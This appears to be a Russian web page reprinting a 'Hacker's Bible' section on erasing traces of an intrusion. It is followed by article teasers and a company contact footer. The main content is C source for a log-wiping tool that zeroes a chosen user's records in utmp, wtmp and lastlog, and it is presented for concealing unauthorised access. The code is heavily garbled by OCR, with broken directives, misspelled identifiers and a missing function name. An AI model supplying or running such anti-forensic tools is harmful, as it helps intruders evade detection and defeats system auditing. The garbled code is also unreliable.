БИБЛИЯ ХАКЕРА

Затираем следы своего присутствия из журнала системы

Отредактируйте /etc/utmp, /usr/adm/wtmp и /usr/adm/lastlog. Это не

Текстовые файлы, которые можно редактировать вручную с помощью текстового редактора. Поэтому вы должны использовать специально на­писанную для этой цели программу.

І

Например:

«include <sys/types, h>

#include <stdlo. h>

«include<unistd. h>

«include <sys/file. h>

«include <fcntl. h>

«include <utmp. h>

«include <pwd. h>

«include <lastlog. h>

«define WTMP_NAME "/usr/adm/wtmp"

«define UTMP_NAME "/etc/utmp"

«define LASTLOG_NAME "/usr/adm/lastlog"

Int f;

Void kill_utmp(who)

Char *who;

{

Struct utmp utmp_ent;

If ((f=open(UTMP_NAME,0_RDWR))>=0) {

While(read (f, &utmp_ent, sizeof (utmp„ent))> 0 ) if (! strncmp(utmp_ent. ut_name, who, strlen(who))) { bzero((char *)&utmp_ent, sizeof ( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent));

}

Close(f);

Ї

}

Void

Char *who;

{

Struct utmp utmp_ent; long pos;

Pos = 1L;

If ((f=open(WTMP_NAME,0_RDWR))>=0) {

While(pos!= -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos), L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L;

} else {

-if (!strncmp(utmp_ent. utjiame, who, strlen(who))) { bzero((char *)&utmp_ent, sizeof(struct utmp ));

Lseekff,-( (sizeof(struct utmp)) * pos), L_XTND) ; write (f, &utmp_ent, sizeof (utmp_ent));

Pos =-1L;

} else pos += 1L;

Ї

>

Close(f);

}

}

Void kill_lastlog(who)

Char *who;

{

Struct passwd *pwd; struct lastlog newll;

If ((pwd=getpwnam(who))!=NULL) {

If ((f=open(LASTLOG_NAME, 0_RDWR)) >= 0) {

Lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll, sizeof ( newll )); write(f, (char *)&newll, sizeof( newll )); close(f);

}

} else printfCXs: ?n",who);

}

Main(argc, argv)

Int argc;

Char *argv[]; {

If (argc==2) {

Klll_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2ln"); } else

Printf ("Error. n");

>

БИБЛИЯ ХАКЕРА

Эта заподлистая кнопка power — как отключить?

На клавиатуре есть кнопка - у меня под делетом сразу, power называется - соответственно значок "яблоко с прямым хвостиком"... Какого гондураса её не разместили где-нибудь в другом месте да подальше …

Безопасность

Так уж устроен мир, что любое техническое изобретение человече­ского разума, расширяющее наши возможности и создающее для нас до­полнительный комфорт, неизбежно содержит в себе и отрицательные стороны, которые могут представлять потенциальную …

Прямой (кривой номер), АОН, БП и переадресация Прямые и кривые номера

Номера сотовых телефонов могут быть прямыми и кривыми. Пря­мые — это обычные городские семизначные (в Москве) номера, кривые (или федеральные) — набирать через коды 901, 902, 903, 501 или другие, …

Как с нами связаться:

Украина:
г.Александрия
тел./факс +38 05235  77193 Бухгалтерия

+38 050 457 13 30 — Рашид - продажи новинок
e-mail: msd@msd.com.ua
Схема проезда к производственному офису:
Схема проезда к МСД

Партнеры МСД

Контакты для заказов оборудования:

Внимание! На этом сайте большинство материалов - техническая литература в помощь предпринимателю. Так же большинство производственного оборудования сегодня не актуально. Уточнить можно по почте: Эл. почта: msd@msd.com.ua

+38 050 512 1194 Александр
- телефон для консультаций и заказов спец.оборудования, дробилок, уловителей, дражираторов, гереторных насосов и инженерных решений.